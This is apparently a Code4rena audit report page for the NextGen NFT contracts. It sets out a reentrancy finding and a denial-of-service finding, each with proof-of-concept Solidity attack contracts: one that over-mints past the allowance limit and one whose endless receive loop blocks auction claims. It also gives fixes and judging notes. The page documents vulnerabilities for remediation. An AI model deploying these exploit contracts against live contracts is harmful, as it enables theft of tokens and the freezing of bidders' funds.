Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 137/243
Findings: 2
Award: $2.92
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: btk
Also found by: 00xSEV, 0x175, 0x180db, 0x3b, 0xAlix2, 0xJuda, 0xpiken, 0xraion, 3th, 836541, Al-Qa-qa, AvantGard, Aymen0909, Beosin, ChrisTina, DarkTower, DeFiHackLabs, EricWWFCP, Kose, Kow, KupiaSec, MrPotatoMagic, Neo_Granicen, PENGUN, PetarTolev, Ruhum, Soul22, SovaSlava, SpicyMeatball, Talfao, The_Kakers, Toshii, Tricko, VAD37, Viktor_Cortess, ZdravkoHr, _eperezok, alexxander, audityourcontracts, ayden, bird-flu, bronze_pickaxe, codynhat, critical-or-high, danielles0xG, degensec, droptpackets, evmboi32, fibonacci, flacko, gumgumzum, ilchovski, immeas, innertia, jacopod, joesan, ke1caM, kk_krish, mojito_auditor, nuthan2x, phoenixV110, pontifex, r0ck3tz, sces60107, seeques, sl1, smiling_heretic, stackachu, t0x1c, trachev, turvy_fuzz, ubl4nk, ustas, xAriextz, xuwinnie, y4y
0.152 USDC - $0.15
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L213 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L217 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L224 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L193
In MinterContract.sol
, the recipient of a mint can re-enter the mint function and bypass the allowance check.
There are three different cases where this can occur. https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L213
213: require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, _delegator) + _numberOfTokens, "AL limit"); 217: require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, msg.sender) + _numberOfTokens, "AL limit"); 224: require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");
The following is a contract that can mint 22 tokens when the allowance is 2.
contract M1 is IERC721Receiver { NextGenMinterContract minter; ERC721 token; uint256 reentrancyCount; constructor(address _minter, address _token) { minter = NextGenMinterContract(_minter); token = ERC721(_token); } function mintBypassAllowance() external { console.log("BEFORE: %s", token.balanceOf(address(this))); reentrancyCount = 0; bytes32[] memory proof = new bytes32[](0); minter.mint( 1, 2, 2, // maxAllowance '{"name":"hello"}', address(this), proof, 0x0000000000000000000000000000000000000000, 2 ); console.log("AFTER: %s", token.balanceOf(address(this))); } function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { console.log("RECEIVER: %s", reentrancyCount); reentrancyCount += 1; // Re-enter if (reentrancyCount <= 10) { minter.mint( 1, 2, 2, '{"name":"hello"}', address(this), new bytes32[](0), 0x0000000000000000000000000000000000000000, 2 ); } return IERC721Receiver.onERC721Received.selector; } }
On mintBypassAllowance
:
BEFORE: 0 RECEIVER: 0 RECEIVER: 1 RECEIVER: 2 RECEIVER: 3 RECEIVER: 4 RECEIVER: 5 RECEIVER: 6 RECEIVER: 7 RECEIVER: 8 RECEIVER: 9 RECEIVER: 10 RECEIVER: 11 RECEIVER: 12 RECEIVER: 13 RECEIVER: 14 RECEIVER: 15 RECEIVER: 16 RECEIVER: 17 RECEIVER: 18 RECEIVER: 19 RECEIVER: 20 RECEIVER: 21 AFTER: 22
Manual review
Use the checks-effects-interactions pattern and update the mint amounts before minting the token.
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L193
Current:
_mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); if (phase == 1) { tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; } else { tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; }
Recommended:
if (phase == 1) { tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; } else { tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; } _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
Reentrancy
#0 - c4-pre-sort
2023-11-20T02:24:42Z
141345 marked the issue as duplicate of #51
#1 - c4-pre-sort
2023-11-26T14:03:04Z
141345 marked the issue as duplicate of #1742
#2 - c4-judge
2023-12-08T16:28:13Z
alex-ppg marked the issue as satisfactory
#3 - c4-judge
2023-12-08T16:29:43Z
alex-ppg marked the issue as partial-50
#4 - c4-judge
2023-12-08T19:17:11Z
alex-ppg marked the issue as satisfactory
#5 - c4-judge
2023-12-09T00:18:52Z
alex-ppg changed the severity to 3 (High Risk)
🌟 Selected for report: The_Kakers
Also found by: 00xSEV, 0xAsen, 0xDetermination, 0xJuda, 0xWaitress, 0xhunter, 0xlemon, 0xpiken, Al-Qa-qa, Arabadzhiev, CSL, CaeraDenoir, DarkTower, DeFiHackLabs, Greed, Haipls, MaNcHaSsS, NentoR, NoamYakov, PENGUN, Ruhum, Soul22, SovaSlava, Talfao, Toshii, TuringConsulting, VAD37, Vagner, Valix, Viktor_Cortess, ZdravkoHr, audityourcontracts, btk, codynhat, flacko, funkornaut, glcanvas, gumgumzum, immeas, innertia, ke1caM, lanrebayode77, lsaudit, mrudenko, niki, nmirchev8, openwide, oualidpro, r0ck3tz, rvierdiiev, trachev, yojeff
2.7688 USDC - $2.77
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L116
In AuctionDemo.sol
, the claimAuction(uint256)
function loops through all bids and either sends payment via call
to the owner or sends a refund via call
to losing bidders.
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L116
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ ... for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { ... } else if (auctionInfoData[_tokenid][i].status == true) { (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); } else {} } }
Any of these losing bidders can be a contract implementing the receive
function that causes the entire transaction to always fail.
This results in:
All of these are cases of lost assets.
The following is a contract that if places a bid, will cause all bidders to lose funds by always causing the claim transaction to run out of gas.
contract H1 { auctionDemo auction; constructor(address _auction) { auction = auctionDemo(_auction); } function placeBid() external payable { // Place 10 bids for (uint256 index = 0; index < 10; index++) { auction.participateToAuction{value: index + 1}(10000000000); } } receive() external payable { while (true) {} } }
Manual review
One way this can be mitigated is to use the withdraw pattern to isolate the sending of funds to different recipients. This prevents any one bidder from impacting the payment or transfer of assets to another bidder.
DoS
#0 - c4-pre-sort
2023-11-20T02:24:56Z
141345 marked the issue as duplicate of #486
#1 - c4-judge
2023-12-01T22:28:51Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-01T22:29:06Z
alex-ppg marked the issue as duplicate of #1782
#3 - c4-judge
2023-12-08T20:50:48Z
alex-ppg marked the issue as satisfactory